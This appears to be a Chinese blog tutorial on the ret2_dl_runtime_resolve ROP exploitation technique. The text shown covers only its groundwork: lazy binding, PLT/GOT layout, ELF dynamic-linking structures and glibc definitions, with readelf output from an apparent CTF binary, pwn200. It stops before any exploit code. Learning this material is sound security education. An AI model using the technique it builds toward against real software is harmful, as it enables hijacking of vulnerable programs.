ret2_dl_runtime_resolve详解

一种高级的ROP漏洞利用技术。
要想弄懂这个ROP利用技巧,需要首先理解ELF文件的基本结构,以及动态链接的基本过程。
glibc源码看的想吐。
                            ——当你的才华还配不上你的野心时,请静下来好好努力!

1、延迟绑定

  动态链接的确有很多优势,比静态链接要灵活得多,但它是以牺牲一部分性能为代价的。据统计,ELF程序在静态链接下要比动态库稍微快点,大约为1%~5%,当然这取决于程序本身的特性运行环境等。我们知道动态链接比静态链接慢的主要原因是动态链接下对于全局和静态的数据访问都要进行复杂的GOT定位,然后间接寻址;对于模块间的调用也要先定位GOT,然后再进行间接跳转,如此一来,程序的运行速度必定会减慢。另外一个减慢运行速度的原因是动态链接的链接工作运行时完成,即程序开始执行时,动态链接器都要进行一次链接工作,正如我们上面提到的,动态链接器会寻找并装载所需要的共享对象,然后进行符号查找、地址重定位等工作,这些工作势必减慢程序的启动速度。这是影响动态链接性能的两个主要问题,我们将在这一节介绍优化动态链接性能的一些方法。[1]

1.1、延迟绑定的实现

1.1.1、PLT的基本原理

  在动态链接下,程序模块之间包含了大量的函数引用全局变量往往比较少,因为大量的全局变量会导致模块之间耦合度变大),所以在程序开始执行前,动态链接会耗费不少时间用于解决模块之间的函数引用符号查找以及重定位,这也是我们上面提到的减慢动态链接性能的第二个原因。不过可以想象,在一个程序运行过程中,可能很多函数在程序执行完时都不会被用到,比如一些错误处理函数或者是一些用户很少用到的功能模块等,如果一开始就把所有函数都链接好实际上是一种浪费。所以ELF采用了一种叫做延迟绑定(Lazy Binding)的做法,基本的思想就是当函数第一次被用到时才进行绑定(符号查找、重定位等),如果没有用到则不进行绑定。所以程序开始执行时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器来负责绑定。这样的做法可以大大加快程序的启动速度,特别有利于一些有大量函数引用大量模块的程序。[1]

  ELF使用PLT(Procedure Linkage Table)的方法来实现,这种方法使用了一些很精巧的指令序列来完成。在开始详细介绍PLT之前,我们先从动态链接器的角度设想一下:假设liba.so需要调用libc.so中的bar()函数,那么当liba.so第一次调用bar()时,这时候就需要调用动态链接器中的某个函数来完成地址绑定工作,我们假设这个函数叫做lookup(),那么lookup()需要知道哪些必要的信息才能完成这个函数地址绑定工作呢?我想答案很明显,lookup()至少需要知道这个地址绑定发生在哪个模块哪个函数?那么我们可以假设lookup的原型为lookup(module, function),这两个参数的值在我们这个例子中分别为liba.sobar()。在Glibc中,我们这里的lookup()函数真正的名字叫_dl_runtime_resolve()。[1]

  当我们调用某个外部模块的函数时,如果按照通常的做法应该是通过GOT中相应的项进行间接跳转PLT为了实现延迟绑定,在这个过程中间又增加了一层间接跳转调用函数并不直接通过GOT跳转,而是通过一个叫作PLT项的结构来进行跳转。每个外部函数PLT中都有一个相应的项,比如bar()函数在PLT中的项的地址我们称之为bar@plt。让我们来看看bar@plt的实现:[1]

1
2
3
4
5
bar@plt:
jmp *(bar@GOT) ;*(bar@GOT)为bar()在GOT表中相应项的地址
push n ;bar()在重定位表“.rel.plt”中相应项的字节偏移
push moduleID ;GOT[1],bar()所在共享库的moduleID
jump _dl_runtime_resolve ;GOT[2],动态链接器的_dl_runtime_resolve()函数

  bar@plt第一条指令是一条通过GOT间接跳转的指令。bar@GOT表示GOT中保存bar()这个函数相应的项。如果链接器在初始化阶段已经初始化该项,并且将bar()的地址填入该项,那么这个跳转指令的结果就是我们所期望的,跳转到bar(),实现函数正确调用。但是为了实现延迟绑定,链接器在初始化阶段并没有将bar()的地址填入到该项,而是将上面代码中第二条指令“push n”的地址填入到bar@GOT中,这个步骤不需要查找任何符号,所以代价很低。很明显,第一条指令的效果是跳转到第二条指令,相当于没有进行任何操作。第二条指令将一个数字n压入堆栈中,这个数字是bar这个符号引用在重定位表“.rel.plt”中的相应项的字节偏移。接着又是一条push指令模块的ID压入到堆栈,然后跳转到_dl_runtime_resolve。这实际上就是在实现我们前面提到的lookup(module, function)这个函数的调用:先将所需要重定位的符号重定位表“.rel.plt”中的相应项的字节偏移压入堆栈,再将模块ID压入堆栈,然后调用动态链接器的_dl_runtime_resolve()函数来完成符号解析重定位工作。_dl_runtime_resolve()在进行一系列工作以后将bar()的真正地址填入到bar@GOT中。[1]

  一旦bar()这个函数被解析完毕,当我们再次调用bar@plt时,第一条jmp指令就能够跳转到真正的bar()函数中,bar()函数返回的时候会根据堆栈里面保存的返回地址直接返回到调用者,而不会再继续执行bar@plt中第二条指令开始的那段代码,那段代码只会在符号未被解析时执行一次。[1]

1.1.2、PLT的真正实现

  上面我们描述的是PLT的基本原理PLT真正的实现要比它的结构稍微复杂一些。ELF将GOT拆分成了两个表叫做“.got”“.got.plt”。其中“.got”用来保存全局变量引用的地址,“.got.plt”用来保存函数引用的地址,也就是说,所有对于外部函数的引用全部被分离出来放到了“.got.plt”中。另外“.got.plt”还有一个特殊的地方是它的前三项是有特殊意义的,分别含义如下:[1]

1
2
3
GOT[0]:保存的是“.dynamic”节的地址,这个节描述了本模块动态链接相关的信息,我们在后面还会介绍“.dynamic”节。
GOT[1]:保存的是本模块的ID。link_map结构的地址,动态链接器利用该地址来对符号进行解析。
GOT[2]:保存的是_dl_runtime_resolve()的地址。

  其中第二项第三项动态链接器装载共享模块的时候负责将它们初始化“.got.plt”其余项分别对应每个外部函数的引用。PLT的结构也与我们示例中的PLT稍有不同,为了减少代码的重复,ELF把上面例子中的最后两条指令放到PLT中的第一项。并且规定每一项的长度是16个字节,刚好用来存放3条指令实际的PLT基本结构如图所示:[1]

实际的PLT基本结构

实际的PLT基本结构代码如下:

1
2
3
4
5
6
7
8
PLT0:
push *(GOT + 4) ;GOT[1],bar()所在共享库的moduleID,link_map结构的地址
jump *(GOT + 8) ;GOT[2],动态链接器的_dl_runtime_resolve()函数的地址
......
bar@plt:
jmp *(bar@GOT) ;*(bar@GOT)为bar()在GOT表中相应项的地址
push n ;bar()在重定位表“.rel.plt”中相应项的字节偏移
jump PLT0

  PLT在ELF文件中以独立的节存放,节名通常叫做“.plt”,因为它本身是一些地址无关的代码,所以可以跟代码节等一起合并成同一个可读可执行“Segment”被装载入内存。[1]

2、动态链接相关结构

  动态链接不同的系统上有不同的实现方式,ELF的动态链接实现方式比PE稍微简单一点。动态链接可执行文件的装载静态链接情况基本一样。首先操作系统会读取可执行文件的头部,检查文件的合法性,然后从头部中的“Program Header Table”中读取每个“Segment”虚拟地址文件地址属性,并将它们映射到进程虚拟空间的相应位置,这些步骤跟前面的静态链接情况下的装载基本无异。

  在静态链接情况下,操作系统接着就可以控制权转交给可执行文件的入口地址,然后程序开始执行,一切看起来非常直观。

  在动态链接情况下,操作系统不能装载完可执行文件之后就把控制权交给可执行文件,因为我们知道可执行文件依赖于很多共享对象。这时候,可执行文件里对于很多外部符号的引用还处于无效地址的状态,即还没有跟相应的共享对象中的实际位置链接起来。所以在映射完可执行文件之后,操作系统会先启动一个动态链接器(Dynamic Linker)

  在Linux下,动态链接器ld.so实际上是一个共享对象,操作系统同样通过映射的方式将它加载到进程的地址空间中。操作系统在加载完动态链接器之后,就将控制权交给动态链接器的入口地址(与可执行文件一样,共享对象也有入口地址)。当动态链接器得到控制权之后,它开始执行一系列自身的初始化操作,然后根据当前的环境参数,开始对可执行文件进行动态链接工作。当所有动态链接工作完成以后,动态链接器会将控制权转交到可执行文件的入口地址,程序开始正式执行。[1]

2.0、标准ELF变量类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Standard ELF types.  */

/* Type for a 16-bit quantity. */
typedef uint16_t Elf32_Half;
typedef uint16_t Elf64_Half;
/* Types for signed and unsigned 32-bit quantities. */
typedef uint32_t Elf32_Word;
typedef int32_t Elf32_Sword;
typedef uint32_t Elf64_Word;
typedef int32_t Elf64_Sword;
/* Types for signed and unsigned 64-bit quantities. */
typedef uint64_t Elf32_Xword;
typedef int64_t Elf32_Sxword;
typedef uint64_t Elf64_Xword;
typedef int64_t Elf64_Sxword;
/* Type of addresses. */
typedef uint32_t Elf32_Addr;
typedef uint64_t Elf64_Addr;
/* Type of file offsets. */
typedef uint32_t Elf32_Off;
typedef uint64_t Elf64_Off;
/* Type for section indices, which are 16-bit quantities. */
typedef uint16_t Elf32_Section;
typedef uint16_t Elf64_Section;
/* Type for version symbol information. */
typedef Elf32_Half Elf32_Versym;
typedef Elf64_Half Elf64_Versym;

2.1、“.interp”节

  动态链接器的位置既不是由系统配置指定,也不是由环境参数决定,而是由ELF可执行文件决定。在动态链接ELF可执行文件中,有一个专门的节叫做“.interp”节(“interp”是“interpreter”(解释器)的缩写)。如果我们使用objdump工具来查看,可以看到“.interp”内容:[1]

1
2
3
4
5
6
7
$ objdump -s pwn200

pwn200: file format elf32-i386

Contents of section .interp:
8048134 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so
8048144 2e3200 .2.

  “.interp”的内容很简单,里面保存的就是一个字符串,这个字符串就是可执行文件所需要的动态链接器的路径,在Linux下,可执行文件所需要的动态链接器的路径几乎都是“/lib/ld-linux.so.2”,其他的*nix操作系统可能会有不同的路径。在Linux的系统中,/lib/ld-linux.so.2通常是一个软链接,比如在我的机器上,它指向/lib/ld-2.6.1.so,这个才是真正的动态链接器。在Linux中,操作系统在对可执行文件的进行加载的时候,它会去寻找装载该可执行文件所需要相应的动态链接器,即“.interp”节指定的路径的共享对象

  动态链接器在Linux下是Glibc的一部分,也就是属于系统库级别的,它的版本号往往跟系统中的Glibc库版本号是一样的,比如我的系统中安装的是Glibc 2.6.1,那么相应的动态链接器也就是/lib/ld-2.6.1.so。当系统中的Glibc库更新或者安装其他版本的时候,/lib/ld-linux.so.2这个软链接就会指向到新的动态链接器,而可执行文件本身不需要修改“.interp”中的动态链接器路径来适应系统的升级。

  我们也可以用这个命令来查看一个可执行文件所需要的动态链接器的路径,在Linux下,往往是如下结果:

1
2
$ readelf -l a.out | grep interpreter
[Requesting program interpreter: /lib/ld-linux.so.2]

而当我们在FreeBSD 4.6.2下执行这个命令时,结果是:

1
2
$ readelf -l a.out | grep interpreter
[Requesting program interpreter: /usr/libexec/ld-elf.so.1]

64位的Linux下的可执行文件是:

1
2
$ readelf -l a.out | grep interpreter
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]

2.2、“.dynamic”节

  类似于“.interp”这样的节,ELF中还有几个节也是专门用于动态链接的,比如“.dynamic”节“.dynsym”节等。要了解动态链接器如何完成链接过程,跟前面一样,从了解ELF文件中跟动态链接相关的结构入手将会是一个很好的途径。ELF文件中跟动态链接相关的节有好几个,相互之间的关系也比较复杂,我们先从“.dynamic”节入手。

  动态链接ELF中最重要的结构应该是“.dynamic”节,这个节里面保存了动态链接器所需要的基本信息,比如依赖于哪些共享对象动态链接符号表的位置、动态链接重定位表的位置、共享对象初始化代码的地址等。“.dynamic”节的结构很经典,就是我们已经碰到过的ELF中眼熟的结构数组,结构定义在“elf.h”中:[3]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;

typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;

  Elf32_Dyn结构由一个类型值加上一个附加的数值指针,对于不同的类型,后面附加的数值或者指针有着不同的含义。我们这里列举几个比较常见的类型值(这些值都是定义在“elf.h”里面的宏),如下表所示:[3]

d_tag类型 d_un的含义
DT_NEEDED ELF所依赖的共享库文件名,d_val表示共享库文件名在“.dynstr”表中的偏移
DT_INIT d_ptr表示init函数地址
DT_INIT_ARRAY d_ptr表示有关初始化的函数的地址数组的地址
DT_INIT_ARRAYSZ d_val表示DT_INIT_ARRAY数组的大小
DT_FINI d_ptr表示fini函数地址
DT_FINI_ARRAY d_ptr表示有关结束清理的函数的地址数组的地址
DT_FINI_ARRAYSZ d_val表示DT_FINI_ARRAY数组的大小
DT_HASH 动态链接符号Hash表地址,d_ptr表示“.hash”的地址
DT_GNU_HASH 动态链接GNU风格的Hash表的地址,d_ptr表示“.gnu.hash”的地址
DT_STRTAB 动态链接字符串表的地址,d_ptr表示“.dynstr”的地址
DT_STRSZ d_val表示动态链接字符串表“.dynstr”的大小
DT_SYMTAB 动态链接符号表的地址,d_ptr表示“.dynsym”的地址
DT_SYMENT d_val表示动态链接符号表“.dynsym”中每一项的大小
DT_PLTGOT d_ptr表示全局偏移表“.got.plt”地址。
DT_PLTREL d_val表示动态链接重定位表的类型值“d_tag”,也就是DT_REL对应的值
DT_PLTRELSZ d_val表示动态链接重定位表中函数重定位表“.rel.plt”的大小
DT_JMPREL d_ptr表示动态链接重定位表中函数重定位表“.rel.plt”的地址
DT_REL d_ptr表示动态链接重定位表的地址(ELF32)
DT_RELSZ d_val表示动态链接重定位表中变量重定位表“.rel.dyn”的大小(ELF32)
DT_RELENT d_val表示动态链接重定位表中每一项的大小(ELF32)
DT_RELA d_ptr表示动态链接重定位表的地址(ELF64)
DT_RELASZ d_val表示动态链接重定位表中变量重定位表“.rel.dyn”的大小(ELF64)
DT_RELAENT d_val表示动态链接重定位表中每一项的大小(ELF64)
DT_VERNEED d_ptr表示ELF文件所需要的库文件版本表的地址
DT_VERNEEDNUM d_val表示ELF文件所需要的库文件版本表条目的数量
DT_VERSYM d_ptr表示动态符号版本表“.gnu.version”的地址
DT_SONAME d_val表示共享库名称
DT_RPATH d_val表示库搜索路径(不建议使用)
DT_NULL 标记“.dynamic”节的结束

定义代码:[3]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* Legal values for d_tag (dynamic entry type).  */
#define DT_NULL 0 /* Marks end of dynamic section */
#define DT_NEEDED 1 /* Name of needed library */
#define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */
#define DT_PLTGOT 3 /* Processor defined value */
#define DT_HASH 4 /* Address of symbol hash table */
#define DT_STRTAB 5 /* Address of string table */
#define DT_SYMTAB 6 /* Address of symbol table */
#define DT_RELA 7 /* Address of Rela relocs */
#define DT_RELASZ 8 /* Total size of Rela relocs */
#define DT_RELAENT 9 /* Size of one Rela reloc */
#define DT_STRSZ 10 /* Size of string table */
#define DT_SYMENT 11 /* Size of one symbol table entry */
#define DT_INIT 12 /* Address of init function */
#define DT_FINI 13 /* Address of termination function */
#define DT_SONAME 14 /* Name of shared object */
#define DT_RPATH 15 /* Library search path (deprecated) */
#define DT_SYMBOLIC 16 /* Start symbol search here */
#define DT_REL 17 /* Address of Rel relocs */
#define DT_RELSZ 18 /* Total size of Rel relocs */
#define DT_RELENT 19 /* Size of one Rel reloc */
#define DT_PLTREL 20 /* Type of reloc in PLT */
#define DT_DEBUG 21 /* For debugging; unspecified */
#define DT_TEXTREL 22 /* Reloc might modify .text */
#define DT_JMPREL 23 /* Address of PLT relocs */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 31 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */
#define DT_NUM 35 /* Number used */
#define DT_LOOS 0x6000000d /* Start of OS-specific */
#define DT_HIOS 0x6ffff000 /* End of OS-specific */
#define DT_LOPROC 0x70000000 /* Start of processor-specific */
#define DT_HIPROC 0x7fffffff /* End of processor-specific */
#define DT_PROCNUM DT_MIPS_NUM /* Most used by any processor */
......

  上表中只列出了一部分定义,还有一些不太常用的定义我们就暂且忽略,具体可以参考LSB手册elf.h的定义。从上面给出的这些定义来看,“.dynamic”节里面保存的信息有点像ELF文件头,只是我们前面看到的ELF文件头中保存的是静态链接时相关的内容,比如静态链接时用到的符号表重定位表等,这里换成了动态链接下所使用的相应信息了。所以,“.dynamic”节可以看成是动态链接ELF文件的“文件头”。使用readelf工具可以查看“.dynamic”节的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ readelf -d pwn200

Dynamic section at offset 0x750 contains 25 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8048328
0x0000000d (FINI) 0x8048650
0x00000019 (INIT_ARRAY) 0x8049744
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049748
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x00000004 (HASH) 0x804818c
0x6ffffef5 (GNU_HASH) 0x80481c0
0x00000005 (STRTAB) 0x8048260
0x00000006 (SYMTAB) 0x80481e0
0x0000000a (STRSZ) 95 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x8049844
0x00000002 (PLTRELSZ) 48 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482f8
0x00000011 (REL) 0x80482f0
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482d0
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482c0
0x00000000 (NULL) 0x0

2.3、“.rel.dyn”节和“.rel.plt”节

  我们可以使用readelf查看重定位表节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ readelf -r pwn200

Relocation section '.rel.dyn' at offset 0x2f0 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049840 00000206 R_386_GLOB_DAT 00000000 __gmon_start__

Relocation section '.rel.plt' at offset 0x2f8 contains 6 entries:
Offset Info Type Sym.Value Sym. Name
08049850 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
08049854 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__
08049858 00000307 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804985c 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
08049860 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
08049864 00000607 R_386_JUMP_SLOT 00000000 strncmp@GLIBC_2.0

  “.rel.dyn”实际上是对数据引用的修正,它所修正的位置位于“.got”以及数据节;而“.rel.plt”是对函数引用的修正,它所修正的位置位于“.got.plt”
  32位64位ELF使用的重定位表有一点区别,但都是结构体数组。一般32位使用Elf32_Rel,64位使用Elf32_Rela。结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/* Relocation table entry without addend (in section of type SHT_REL).  */
typedef struct {
Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf32_Word r_info; /* 重定位类型和符号表下标 */
} Elf32_Rel;

/* The following, at least, is used on Sparc v9, MIPS, and Alpha. */
typedef struct {
Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf64_Xword r_info; /* 重定位类型和符号表下标 */
} Elf64_Rel;

/* Relocation table entry with addend (in section of type SHT_RELA). */
typedef struct {
Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf32_Word r_info; /* 重定位类型和符号表下标 */
Elf32_Sword r_addend; /* Addend */
} Elf32_Rela;

typedef struct {
Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf64_Xword r_info; /* 重定位类型和符号表下标 */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;

/* How to extract and insert information held in the r_info field. */
//获得高24位,表示在符号表中的下标
#define ELF32_R_SYM(val) ((val) >> 8)
//获得低8位,表示重定位类型
#define ELF32_R_TYPE(val) ((val) & 0xff)
//通过R_SYM和R_Type重组r_info
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))

//获得高32位,表示在符号表中的下标
#define ELF64_R_SYM(i) ((i) >> 32)
//获得低32位,表示重定位类型
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
//通过R_SYM和R_Type重组r_info
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

  32位ELF一般使用的重定位表项的结构体是Elf32_Rel,其中包含r_offsetr_info两个成员,都是4byte类型的变量。r_offset:表示重定位所作用的位置。对于重定位文件(.o)来说,此值是受重定位作用存储单元其所在节中的字节偏移量;对于可执行文件共享目标文件(.so)来说,此值是受重定位作用存储单元虚拟地址r_info:高24位表示该重定位项在动态链接符号表.dynsym中对应项的下标低8位表示该重定位项的重定向类型
  64位ELF一般使用的重定位表项的结构体是Elf64_Rela,其中包含r_offsetr_infor_addend三个成员,都是8byte类型的变量。r_offset:表示重定位所作用的位置。对于重定位文件(.o)来说,此值是受重定位作用存储单元其所在节中的字节偏移量;对于可执行文件共享目标文件(.so)来说,此值是受重定位作用存储单元虚拟地址r_info:高32位表示该重定位项在动态链接符号表.dynsym中对应项的下标低32位表示该重定位项的重定向类型r_addend:此成员指定常量加数,用于计算将存储在可重定位字段中的值Elf32_Rela中是用r_addend显式地指出加数;而对 Elf32_Rel来说,加数是隐含在被修改的位置里的。在所有情况下,加数计算所得的结果使用相同的字节顺序加数值重定位项类型解释由特定于平台的 ABI 定义。
  重定位节可以引用其他两个节:符号表(由 sh_link 节头项标识)和要修改的节(由 sh_info 节头项标识)。节中指定了这些关系。如果可重定位目标文件中存在重定位节,则需要 sh_info 项,但对于可执行文件共享目标文件,该项是可选的重定位偏移(r_offset)满足执行重定位的要求。不同的ELF文件中,重定位项的 r_offset 成员的含义略有不同,但其重定位的作用是不变的。
  在所有情况下,r_offset 值都会指定受影响存储单元第一个字节偏移虚拟地址重定位类型可指定要更改的位以及计算这些位的值的方法。

  • 1、重定位文件(.o)中,r_offset 成员含有一个节偏移量。也就是说,重定位节本身描述的是如何修改文件中的另一个节的内容,重定位偏移量(r_offset)指向了另一个节中的一个存储单元地址。 [2]
  • 2、在可执行文件共享目标文件(.so)中,r_offset 含有的是符号定义在进程空间中的虚拟地址可执行文件共享目标文件是用于运行程序而不是构建程序的,所以对它们来说更有用的信息是运行期的内存虚拟地址,而不是某个符号定义在文件中的位置。[2]

重定位类型(Relocation Types)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* i386 relocs.  */
#define R_386_NONE 0 /* No reloc */
#define R_386_32 1 /* Direct 32 bit */
#define R_386_PC32 2 /* PC relative 32 bit */
#define R_386_GOT32 3 /* 32 bit GOT entry */
#define R_386_PLT32 4 /* 32 bit PLT address */
#define R_386_COPY 5 /* Copy symbol at runtime */
#define R_386_GLOB_DAT 6 /* Create GOT entry */
#define R_386_JMP_SLOT 7 /* Create PLT entry */
#define R_386_RELATIVE 8 /* Adjust by program base */
......

/* AMD x86-64 relocations. */
#define R_X86_64_NONE 0 /* No reloc */
#define R_X86_64_64 1 /* Direct 64 bit */
#define R_X86_64_PC32 2 /* PC relative 32 bit signed */
#define R_X86_64_GOT32 3 /* 32 bit GOT entry */
#define R_X86_64_PLT32 4 /* 32 bit PLT address */
#define R_X86_64_COPY 5 /* Copy symbol at runtime */
#define R_X86_64_GLOB_DAT 6 /* Create GOT entry */
#define R_X86_64_JUMP_SLOT 7 /* Create PLT entry */
#define R_X86_64_RELATIVE 8 /* Adjust by program base */
#define R_X86_64_GOTPCREL 9 /* 32 bit signed PC relative offset to GOT */
......

  32位ELF一般用来函数重定位的重定位类型就是R_386_JMP_SLOT类型,64位ELF函数重定位的重定位类型就是R_X86_64_JUMP_SLOT类型,源码对其的注释是Create PLT entry。这种类型的函数重定位都会在ELF中创建一个PLT入口

2.4、“.got”节和“.got.plt”节

GOT表在ELF文件中分为两个部分

  • .got:存储对全局变量的引用。
  • .got.plt:存储对函数的引用。

前面讲延迟绑定的时候讲过,.got.plt前三项具有特殊的含义:

  • GOT[0]:保存的是“.dynamic”节的地址。
  • GOT[1]:保存的是本模块的ID。指向内部类型为link_map的指针,只会在动态链接器中使用,包含了进行符号解析需要的当前ELF共享目标文件的信息。每个 link_map都是一条双向链表的一个节点,而这个链表保存了所有加载的ELF共享目标文件的信息。动态链接器利用该地址来对符号进行解析。
  • GOT[2]:保存的是_dl_runtime_resolve()的地址。

  解析之前,GOT表的其他表项存储的是所解析函数对应的PLT表项第二条指令的地址解析之后,存储的是函数的真实地址

2.5、“.dynsym”节

  “.dynsym”节动态链接符号表。这里保存的是一个结构体数组,结构体的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Symbol table entry.  */
typedef struct {
Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */
Elf32_Addr st_value; /* 符号的值,可能是地址或偏移 */
Elf32_Word st_size; /* 符号的大小 */
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性 */
Elf32_Section st_shndx; /* 节头表索引 */
} Elf32_Sym;

typedef struct {
Elf64_Word st_name; /* 符号名,符号在字符串表中的偏移 */
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性 */
Elf64_Section st_shndx; /* 节头表索引 */
Elf64_Addr st_value; /* 符号的值,可能是地址或偏移 */
Elf64_Xword st_size; /* 符号的大小 */
} Elf64_Sym;

/* st_info字段中符号类型和绑定属性的提取 */
#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
#define ELF32_ST_TYPE(val) ((val) & 0xf)
#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
/* Elf32_Sym和Elf64_Sym都使用相同的一字节的st_info字段 */
#define ELF64_ST_BIND(val) ELF32_ST_BIND (val)
#define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val)
#define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type))

  我们主要关注此结构体中的两个成员(注意32位64位中这两个值在结构体里的位置不一样!)

  • st_name:该成员保存着符号在.dynstr表(动态链接字符串表)中的偏移
  • st_value:如果这个符号被导出,这个符号保存着对应的虚拟地址

  st_other:st_other 变量定义了符号的可见性

符号可见性规范第 1 部分 - 符号可见性简介

  • STV_DEFAULT(0):默认符号可见性规则。用它定义的符号将被导出。换句话说,它声明符号是到处可见的。
  • STV_INTERNAL(1):特定于处理器的隐藏类。符号在当前可执行文件或共享库之外不可访问。
  • STV_HIDDEN(2):Sym在其他模块中不可用。用它定义的符号将不被导出,并且不能从其他对象进行使用。
  • STV_PROTECTED(3):不可抢占,不可导出。符号在当前可执行文件或共享对象之外可见,但是不会被覆盖。换句话说,如果共享库中的一个受保护符号被该共享库中的另一个代码引用,那么此代码将总是引用共享库中的此符号,即便可执行文件定义了相同名称的符号。

  st_shndx:每个符号表条目的定义都与某些节对应。st_shndx变量保存了相关节头表的索引

特殊节索引Linker and Libraries Guide

宏定义 说明
SHN_UNDEF             0x0000             未定义的、丢失的、不相关的或其他没有意义的节引用。例如,相对于节号SHN_UNDEF定义的符号是未定义的符号。该符号在本目标文件中被引用到,但是定义在其他目标文件中。
SHN_LORESERVE 0xFF00 被保留索引号区间的下限。
SHN_LOPROC 0xFF00 为特定处理器定制节所保留的索引号区间的下限。
SHN_BEFORE 0xFF00 优先于其他节的排序节(Solaris)。与SHF_LINK_ORDER和SHF_ORDERED节标志一起规定初始和最终节顺序。
SHN_AFTER 0xFF01 在其他节之后的排序节(Solaris)。与SHF_LINK_ORDER和SHF_ORDERED节标志一起规定初始和最终节顺序。
SHN_HIPROC 0xFF1F 为特定处理器定制节所保留的索引号区间的上限。
SHN_LOOS 0xFF20 为特定操作系统定制节所保留的索引号区间的下限。
SHN_HIOS 0xFF3F 为特定操作系统定制节所保留的索引号区间的上限。
SHN_ABS 0xFFF1 此节中所定义的符号有绝对的值,这个值不会因重定位而改变。
SHN_COMMON 0xFFF2 相对于这个节定义的符号是公共符号,例如FORTRAN的COMMON块或未分配的C外部变量。这些符号有时被称为暂定符号。表示该符号是一个”COMMON块”的符号,一般来说,未初始化的全局符号定义就是这种类型的。
SHN_XINDEX 0xFFFF 溢出值,指示实际的节头索引太大,所以存储在别处。当节头项中e_shstrndx的值是SHN_XINDEX时,表明真实的节头表索引值存储在第一个节头表表项(即节头表索引值为0)的成员sh_link中。
SHN_HIRESERVE 0xFFFF 被保留索引号区间的上限。

  st_info指定符号类型绑定属性。st_info的低四位表示符号类型高四位表示绑定属性。符号类型以STT开头,符号绑定以STB开头,下面对几种常见的符号类型和符号绑定进行介绍。

1、符号类型

  • STT_NOTYPE(0):符号类型未定义
  • STT_OBJECT(1):表示该符号与数据目标文件关联。
  • STT_FUNC(2):表示该符号与函数或者其他可执行代码关联。

2、绑定属性

  • STB_LOCAL(0)本地符号目标文件之外是不可见的,目标文件包含了符号的定义,如一个声明为static的函数。
  • STB_GLOBAL(1)全局符号对于所有要合并的目标文件来说都是可见的。一个全局符号在一个文件中进行定义后,另外一个文件可以对这个符号进行引用。
  • STB_WEAK(2):与全局绑定类似,不过比STB_GLOBAL优先级低被标记STB_WEAK的符号有可能会被同名未被标记STB_WEAK的符号覆盖

2.6、“.dynstr”节

  “.dynstr”动态链接字符串表。其第一个字节为0,然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)。

1
2
3
4
